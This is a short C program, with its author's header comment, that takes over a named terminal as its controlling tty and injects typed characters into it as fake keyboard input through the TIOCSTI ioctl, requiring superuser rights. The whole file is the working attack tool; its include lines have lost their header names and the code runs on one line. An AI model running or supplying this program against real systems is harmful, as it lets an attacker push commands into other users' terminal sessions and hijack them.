/* Spiros I. : become the controlling terminal of tty and send fake input /*Must be superuser*/ /* sioan@cc.ece.ntua.gr*/ #include #include #include #include #include main(argc,argv) int argc; char *argv[]; { int fd; int i=1; char c=0; if (argc!=2) { fprintf(stderr,"\nUsage: %s tty \n",argv[0]); exit(0); } if((fd = open(argv[1], O_RDWR)) == -1) { perror(argv[1]); exit(1); } no_wait(); i=1; if (ioctl(fd, TIOCSCTTY, &i)) perror("TIOCSCTTY"); while ((c=getc(stdin))!=EOF) { if (ioctl(fd, TIOCSTI, &c)) perror("TIOCSTI"); putchar(c); } close(fd); } no_wait() { int fd , i; struct termio test; /* Remember to substitute the terminal's name */ fd=open(ttyname(0),O_WRONLY); ioctl(fd, TCGETA, &test); /* Put all the changes in here */ test.c_cc[VMIN]=1; test.c_lflag = ISIG; ioctl(fd, TCSETA, &test); close(fd); }